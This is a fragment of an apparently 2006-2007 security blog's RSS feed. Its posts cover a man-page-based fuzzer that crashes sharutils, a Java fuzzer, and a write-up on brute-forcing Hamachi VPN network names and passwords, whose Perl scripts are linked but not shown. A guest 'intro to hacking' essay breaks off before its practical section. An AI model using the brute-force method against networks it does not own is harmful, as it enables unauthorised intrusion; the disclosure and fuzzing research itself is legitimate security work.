<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/197/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/197/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/197/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=197&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2007/08/08/using-steganography-to-improve-hash-functions%e2%80%99-collision-resistance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>FuzzMan &#8211; man pages based fuzzer</title>
		<link>http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/</link>
		<comments>http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/#comments</comments>
		<pubDate>Wed, 18 Apr 2007 09:54:10 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[idea]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/</guid>
		<description><![CDATA[Fuzzing using man pages This article is to introduce a (probably) new fuzzing idea (FuzzMan) that is built around man pages. Many know that in *nix systems if you type man command you will get a manual page informing you on how to use a specific tool. So by just looking at the manual you [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=40&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img src="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman.jpg?w=720" alt="" /> <em>Fuzzing using man pages</em> This article is to introduce a (probably) new fuzzing idea  (<a href="http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/">FuzzMan</a>)  that is built around man pages. Many know that in *nix systems if you type <strong>man command</strong> you  will get a <a href="http://en.wikipedia.org/wiki/Manual_page_%28Unix%29">manual page</a> informing you on how to use a specific tool. So by just looking at the manual  you can find out pretty much in seconds what type of argument and what options are offered by  any given command.</p>
<p>The format which man pages follow is universal (mostly), so it is not very difficult to  make a script and extract the offered options &#8211; which is exactly what gave me the idea of making a tool that can generate fuzzing data based on manual pages. Based on that  concept we can fuzz as accurately as possible any command that has a man page.</p>
<p>So lets take a command and generate fuzzing data.</p>
<p>The choice for this example is &#8220;shar&#8221; <em>- GNU sharutils 4.2.1</em></p>
<p><strong>Shar</strong> creates  &#8220;shell  archives&#8221;  (or  shar files) which are in text format and can be mailed.  These files may be unpacked later by executing them with /bin/sh.  The resulting archive is sent to standard out unless the -o option is  given.</p>
<p>Below you can see how a man page looks in the console<br />
<img src="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman1.jpg?w=720" alt="" /><br />
or have a look at the On-line <strong>Shar</strong> <a href="http://linuxmanpages.com/man1/shar.1.php">Manual page</a>There are several options available for this command and therefore the fuzzer has to generate lots of combinations. Fuzzman catches signals so if you see that you have enough combinaitons you can press ctrl-c.<br />
if you type <strong>./fuzzman.pl shar</strong> you get :</p>
<p><code>=== Extract arguments for "shar" ===<br />
STANDARD<br />
: --version<br />
: --print-text-domain-dir<br />
: --help<br />
: --version<br />
:        -q<br />
:        -p<br />
:        -Z<br />
:        -S<br />
:        -z<br />
:        -o<br />
:        -l<br />
:        -L<br />
:        -n<br />
.<br />
.<br />
.<br />
: --no-i18n<br />
: --print-text-domain-dir<br />
ADDITIONAL<br />
: EXTRA BoF Arg<br />
: EXTRA Format String Arg<br />
: EXTRA Numbers  Arg</code></p>
<p><code>:Number of Arguments :36 <strong>&lt;=== it is not 100% accurate</strong> but is very close</p>
<p></code></p>
<p><code>=== Generate Fuzzing Script ===<br />
+STOP GENERATOR WITH CTRL-C<br />
:Agrument combinations  : 1040  <strong>&lt;== This is the combinations counter</strong><br />
:Partial shar.sh, not all combinations have been generated<br />
:Run fuzzing script [sh shar.sh]</code></p>
<p>We can see above that there are approximately 36 options. That would create several thousand combinations so I stopped it at 1040 combinations. Fuzzman tried different options adding arguments that could potentially lead to different overflow types, now the shar.sh script is ready.</p>
<p>Starting the shar.sh will execute the command 1040 times.<br />
<img src="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman2.jpg?w=720" alt="" /><br />
As we can see above we hit into a bug, Segmentation fault is always a sign.</p>
<p>You can download Fuzzman from <a href="http://fuzzman.googlecode.com/files/fuzzman.tar.gz">here</a>,<br />
Enjoy<em> </em></p>
<p><em> </em></p>
<p><em>Note: This version of Sharutils have been reported for both Buffer Overflow and Format string vulns some time ago  (<a href="http://securityfocus.com/archive/1/359639/30/0/threaded">here</a> and <a href="http://securityfocus.com/bid/11298/info">here</a>)</em></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/40/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/40/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/40/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=40&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman.jpg" medium="image" />

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman1.jpg" medium="image" />

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman2.jpg" medium="image" />
	</item>
		<item>
		<title>JavaFuzz</title>
		<link>http://cipher.org.uk/2007/01/23/javafuzz/</link>
		<comments>http://cipher.org.uk/2007/01/23/javafuzz/#comments</comments>
		<pubDate>Tue, 23 Jan 2007 16:07:59 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Projects]]></category>
		<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2008/01/23/javafuzz/</guid>
		<description><![CDATA[Java Fuzzer [Manual Page]-[Example Bug] Java classes fuzzer based on the the Java Reflection API. The reflection API represents, or reflects, the classes, interfaces, and objects in the current Java Virtual Machine. Using the reflection API it can contruct and invoke any given class (or list of classes). After getting the types that a class [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=42&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://javafuzz.googlecode.com/files/JavaFuzz-current.zip">Java Fuzzer</a></strong> [<a href="http://code.google.com/p/javafuzz/wiki/JavaFuzz">Manual Page</a>]-[<a href="http://code.google.com/p/javafuzz/wiki/Examples">Example Bug</a>]<br />
Java classes fuzzer based on the the Java Reflection API. The reflection API represents, or reflects, the classes, interfaces, and objects in the current Java Virtual Machine. Using the reflection API it can contruct and invoke any given class (or list of classes). After getting the types that a class accepts will construct the classes using inappropriate values. JavaFuzz is also hosted at <a href="http://code.google.com/p/javafuzz/">Google Projects</a> with source code.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/42/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/42/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/42/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=42&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2007/01/23/javafuzz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Hamachi Considerations</title>
		<link>http://cipher.org.uk/2006/11/03/hamachi-considerations/</link>
		<comments>http://cipher.org.uk/2006/11/03/hamachi-considerations/#comments</comments>
		<pubDate>Fri, 03 Nov 2006 17:31:58 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2008/01/27/hamachi-considerations/</guid>
		<description><![CDATA[&#8220;Hamachi is a zero-configuration virtual private networking (VPN) application.&#8221;I was introduced to Hamachi last week, and I thought wow that sounds cool and easy. So I installed both windows and linux versions and start messing around. while I was using different networks, I noticed that if you start typing random network names the system sents [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=8&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-333" title="hamachi_logo" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/hamachi_logo.jpg?w=31&#038;h=45" alt="hamachi_logo" width="31" height="45" /> <em>&#8220;Hamachi is a zero-configuration virtual private networking (VPN) application.&#8221;</em>I was introduced to <a href="http://www.hamachi.cc/">Hamachi</a> last week, and I thought wow that sounds cool and easy. So I installed both windows and linux versions and start messing around. while I was using different networks, I noticed that if you start  typing random network names the system sents back an obvious message saying if a network exists or not. I found that inappropriate, to illustrate an obvious use of that  I wrote a tiny perl script to detect different networks using the rather expected brute  force approach.</p>
<p><img class="alignnone size-full wp-image-334" title="detect-hamachi" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/detect-hamachi.jpg?w=339&#038;h=215" alt="detect-hamachi" width="339" height="215" /></p>
<pre>Detect Networks script <a href="http://downloads.cipher.org.uk/hamachiscripts.zip">Detect-hamachi.pl</a></pre>
<p>After that the next step was to see if the system returns a distinctive error if the network picked is correct but the password supplied is wrong. Again that proved to be the case, so the next step was to check on the network I created if there is any account lockout or IP blocking if I submit the wrong password several times. I send the wrong password 10 times and the account was still active. When considering the fact that someone creates a VPN to establish a secure tunnel between private assets this can be considered as an immediate security threat.</p>
<p>At this stage I modified the previous tiny script to go through a list of passwords given a valid  network name and the result was predictebale, found the valid password and join the network.</p>
<p><img class="alignnone size-full wp-image-335" title="beef-hamachi" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/beef-hamachi.jpg?w=399&#038;h=84" alt="beef-hamachi" width="399" height="84" /></p>
<pre>Find valid Hamachi passwords script <a href="http://downloads.cipher.org.uk/hamachiscripts.zip">beef-hamachi.pl</a></pre>
<p>A fast solution to the issue described is to &#8220;Block new network members by default&#8221;, there is an  option in the Security tab to do that.</p>
<p>All of the above are very simple observations, nothing on the protocol or implementation as such (also as far as I am concerned the project is closed source at the moment). Haven&#8217;t used it that much so if you see something wrong in here let <a href="http://www.cipher.org.uk/write/">me</a> know.</p>
<p>These scripts work only in linux and you need to have perl and hamachi installed.  Have a look at http://files.hamachi.cc/linux/README on how to install in linux , note in Debian  you need to create the /dev/net/tun device to make it work.</p>
<pre>mkdir /dev/net/tun
mknod /dev/net/tun c 10 200</pre>
<p>Note: The provided scripts are only for illustration purpose, use them only on networks you own.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/8/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/8/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/8/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=8&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2006/11/03/hamachi-considerations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/hamachi_logo.jpg" medium="image">
			<media:title type="html">hamachi_logo</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/detect-hamachi.jpg" medium="image">
			<media:title type="html">detect-hamachi</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/beef-hamachi.jpg" medium="image">
			<media:title type="html">beef-hamachi</media:title>
		</media:content>
	</item>
		<item>
		<title>Hacking: A very brief Introduction</title>
		<link>http://cipher.org.uk/2006/10/18/hacking-a-very-brief-introduction/</link>
		<comments>http://cipher.org.uk/2006/10/18/hacking-a-very-brief-introduction/#comments</comments>
		<pubDate>Wed, 18 Oct 2006 17:40:15 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[guest post]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2008/01/27/hacking-a-very-brief-introduction/</guid>
		<description><![CDATA[Guest Post by (Pascal.Cretain[AT]gmail.com) An awful lot has been said about hacking, most of it is simply not true. Due to misinformation, ignorance, the decline of mass media, and other miscellaneous obscure powers, hacking has been associated with electronic crime, illegal access to forbidden realms, the pentagon, the FBI, the CIA, the Russian mafia, credit [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=9&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Guest Post by (Pascal.Cretain[AT]gmail.com)</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">An awful lot has been said about hacking, most of it is simply not true. Due to misinformation, ignorance, the decline of mass media, and other miscellaneous obscure powers, hacking has been associated with electronic crime, illegal access to forbidden realms, the pentagon, the FBI, the CIA, the Russian mafia, credit card fraud, identity theft, software piracy, vandalism, corruption, murder and death. Give me a break. A hacker, in the original sense, is a person who is curious, inventive, intelligent, eager to learn, willing to discover (and perhaps fail a thousand times before achieving any result) alternative ways of using tools and ideas. Using a metaphor here, if I may, a hacker is a bit like a child; she likes to take things apart to see what&#8217;s inside, and find out how things actually work. A hacker likes to stretch things to their limits, use devices in ways they were not meant to be used, cross borders and break rules just for the sake of experimentation. A real hacker does not give a fuck about the potential trophy (be it a p0rn, software, monetary compensation, sensitive databases or anything else) waiting for her as soon she has gained access to a restricted domain using a creative, alternative route to circumvent the defence mechanisms in place. She might e-mail the system administrators to let them know that their security is crap, at best, leave everything impact, then move on to a new project. A hacker is more than anything else, a student, not a criminal mind, period. This definition is not necessarily restricted in the world of computing. One can hack in real life. If you decide that your TV does not have any positive effect on your life when it&#8217;s on, and decide to cover it with a table cloth, and use it to eat your breakfast on, then you have hacked your TV, in a primitive fashion. Well done, that&#8217;s a great starting point.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">There is a reason why all this bad hype around hacking has been created. See, hacking is tightly bound with intelligence, creativity and free spirit. Now these attributes are a bit of a threat to governments, global regulators and other bodies &#8216;in charge&#8217; who want to run the show. To achieve their goal easily and effectively, the controlling powers need to have obedient, non-creative and certainly not very intelligent citizens under their supervision. Where this profit-making, control seeking &#8216;plan&#8217; is supposed to lead humanity is beyond me, still there is a good chance that this is the way things work nowadays. It is not a coincidence that formal education has degraded to simple (biased) information processing. Our schools, institutions, society and family do not encourage creative and alternative thinking. In fact, they are afraid of it. This concept can extend even more, taking into consideration our lives and career aspirations in general. As the freegan manifesto (http://freegan.info/?page=anotherview) accurately proclaims, as much as capitalists like equating the free market with freedom, our lives are severely constrained under capitalism. Here in we are all expected to live within the rules of a specific narrow model. We go to schools that promote hierarchy and obedience while suppressing creativity and indoctrinating us with the patriotic dogmas and distorted histories of the dominant forces of our national leadership. We are compelled to fiercely compete for the best grades so that we can get into the best college, run up big debts on college loans that we will spend years paying off. Get good grades, get into the best grad school, get a high paying job, buy lots of stuff, buy a house and spend years paying off the mortgage, have kids, keep working to the point where out jobs become miserable unending chores, put our kids through college and grad school so they can start on the same cycle. We go through a mid-life crisis where we wonder what the point of it all is. We retire and get sick with degenerative diseases from a lifetime of eating an unhealthy, fast-food, meat based died and from sedentary living&#8211; miserable desk jobs and hours spent vegetating in front of corporate pablum on television. As we degenerate, bored, lonely, and isolated in a society that overvalues competition and undervalues community, we are shipped off to nursing homes, eventually end up in hospitals that attempt to prolong miserable and unhealthy lives, with surgical procedures and drugs and radiation treatments that are tremendously profitable to insurance companies, hospitals, physicians, and medical equipment and drug manufacturers, but do little to address the underlying issues of poor health and often make us even sicker. Eventually we die, providing income to the undertakers, coffin manufacturers, funeral parlours, and cemeteries to turn our corpses into formaldehyde filled hazardous waste that will not be cycled back into the ecosystem locked in boxes made of dead rainforest trees or strip-mined metals. This is considered &#8220;a successful life&#8217; for the Western middle class and lower portions of the upper class. Apparently, I got a bit carried away, but follow me and you will see where I am getting at.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Don&#8217;t panic, though, for all is not lost. We have the unbelievable luxury of living in the internet era. Now this is a whole new topic again, and a huge one indeed, but it is very relevant to this study for certain reasons. If you think back some years ago, access to information and knowledge was very, very different. First of all, there used to be one horrible restriction to acquire information: it had a price. To learn how to be a doctor, computer programmer, lawyer, journalist, biologist, builder, you had to buy many, expensive books and/or go to expensive schools. You very evolution itself was too damn hard, since every time you encountered a problem, an unknown condition in your field, you had to go to public libraries, make expensive telephone calls to other fellow professionals, spend time investigating and if you were lucky enough to find a solution, you would rely on it just because it was the only solution you were able to locate. It is not the case today. Today&#8217;s internet is a gift. An ever-changing, almost organic collection of all sorts of information that brings together individuals and ideas of all races, social classes, religions, scientific fields and arts. The power of this mechanism lies in its multi-inclusive nature. Looking for an answer to a question you might have, you are very likely to encounter tons of crap, some quite good approaches, and a few superb ones. You will, though, invariably gain the ability to evaluate, judge, search and think for yourself. And that, my friend, is a tremendous skill. In fact, it is the very root of becoming a superior human being and understanding the world you happen to live in, in depth, so you can make conscious choices and reject this or that lifestyle that &#8216;they&#8217; are trying to enforce upon you. Computer (or real life) hacking just happens to be one of the benefits drawn from this new skill that you will (hopefully) acquire. So, if there is one service you have to buy in this damn world, it is, in my humble opinion, a good internet connection. Get DSL. Assuming that living in London you speak English, internet access is all you are ever going to need ( provided that you have a computer &#8216; a crappy one will do, get your uncle&#8217;s old PC that she was planning to donate to charity if you have to), plus some spare time to invest.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Trust me in this one, reader: It will not always be like that. The internet is a very new invention, and a very groundbreaking one. As it happens with all radical inventions in the history of mankind (the wheel, electricity, relativity) it takes quite some time until people are eventually able to govern the new invention&#8217;s power, and restrict its potential misuse through many rules, legislation and supervision. The early stages are somewhat &#8216;experimental&#8217; and very liberal. Man (including the superior forces running the show) has realised the full potential of the internet as a generous profit-making source. Due to the fact that one of our main characteristics is greed, people got quickly addicted (and dependent) to the internet, and now refuse to let go. Fortunately for the rest of us, not profit-oriented, various healthy tendencies including open source information exchange grew in parallel and got their place quietly in the internet. Because of the fact that no-body actually &#8216;owns&#8217; the internet, it is deemed very unlikely that the internet is going to shut down some time soon for &#8216;general maintenance and regulations introduction&#8217;. Control is happening, though. Slowly it spreads over the wires through mechanisms like legislation, and sniffing. There are however countermeasures to being supervised: Cryptography is a good one. Cryptography has been made available to the masses about a decade ago through a program called PGP (Pretty Good Privacy) written by a genius hacker called Phil Zimmerman. Cryptography is another, very complicated issue that we are not going to cover here, but it is worth mentioning that the strength of your encrypted messages relies on the size (in bits) of the encryption algorithm. If 40 bits are used, it&#8217;s quite easy to decrypt. If 256 bits are used it&#8217;s bloody difficult, even for governments or intelligence agencies to decrypt your message. This is because the extent of difficulty introduced to a cipher by adding just one bit doubles, so that a cipher with 41 bits is twice as hard to crack (takes twice the time) compared to one using 40 bits. This is why the US government has put restrictions to the exports of cryptographic algorithms (40 bits I think), and they have classified cryptography under &#8216;weapons&#8217; so that they can maintain control of the game. Moral of the story: (Ab)use the internet in its present form, for it might not last that long.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">While it is possible to hack computer networks without being a programmer (or at least being able to read and understand code) I strongly suggest you acquire that skill. Remember, the goal is not to scratch the surface (as sick of it all says), but to get a shovel and start digging. If you want to hack wisely, you have to understand how the tools you are going to use actually work. That&#8217;s why I personally support the &#8216;open source&#8217; approach, because it gives you access to the underlying architecture of all the tools you are using. In that way, you can really understand what&#8217;s going on behind the scenes, and perhaps modify anything as you see fit. The languages commonly used in the computer security field are Ansi C (often used in a scripting approach under the UNIX shell), and many general purpose scripting languages such as Tcl, Perl and Python. I have seen apps recently written in pure Java, though this language is generally not preferred in the underground. Moreover, you must get acquainted with the basic concepts of computer networking. There are a few protocols which are extremely popular and you should know how they work. These include the TCP/IP protocol suite (including UDP and ICMP), the mail protocols (POP3 and SMTP) and various others such as HTTP. You should also get familiar with the major Operating Systems, Windows and Linux. There are things you can do with one but can&#8217;t with the other, so you should learn and use both. If you have no fuckin&#8217; clue what I&#8217;m talking about in these last few lines, then I strongly urge you to get an internet connection (see above), and start using www.google.com to educate yourself. I shall warn you here, reader, that the legislation on computer attacks is rapidly changing, and getting stricter every day. So as soon as (and if) you ever start launching attacks against computer networks, be sure to launch them against networks you own, or ones that you have formal authorisation to perform testing against, to avoid getting in trouble. It is perfectly possible to hide your tracks and clean up your mess effectively, but it is a very daunting task, something that comes with experience. As a newbie, you might as well forget about it for the time being.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">I suspect what you might be thinking &#8216;Hey, that&#8217;s all good, now teach me how to hack!&#8217;, and, gee, I really hope that I&#8217;m wrong. See, there is a reason why I decided to release this document in this very event &#8211; the resistance festival. Taking into account the fact that you came here, you are quite likely a person who already has an &#8216;alternative&#8217; approach to life. You try to differentiate yourself from the mass through unconventional music and other art forms, &#8216;revolutionary&#8217; appearance (we have all been there at one time or another), maybe travelling and the likes. If you have followed me until this point, you have hopefully realised that the mission of this document is not to provide some quick guide to getting porn and certainly not illegally accessing your girlfriend&#8217;s hotmail account. It is to teach you how to be a creative problem solver, and how to seek knowledge. The means employed to try and get you started is computer hacking. This is because it just so happens that I have an elementary knowledge of this field, I consider it interesting, and I feel that there is a great potential to it. If, on the other hand, you are one of them people who want to learn how to hack computer systems because it is considered &#8216;elite&#8217;, or to get some free shit, while not having genuine interest in improving yourself, perhaps the security mechanisms employed in the IT industry nowadays, and eventually getting (more) wise then to hell with you anyway. Forget you ever read this document and go back to whatever you were doing. The community does not need you.</div>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;">Section II: Doing it</div>
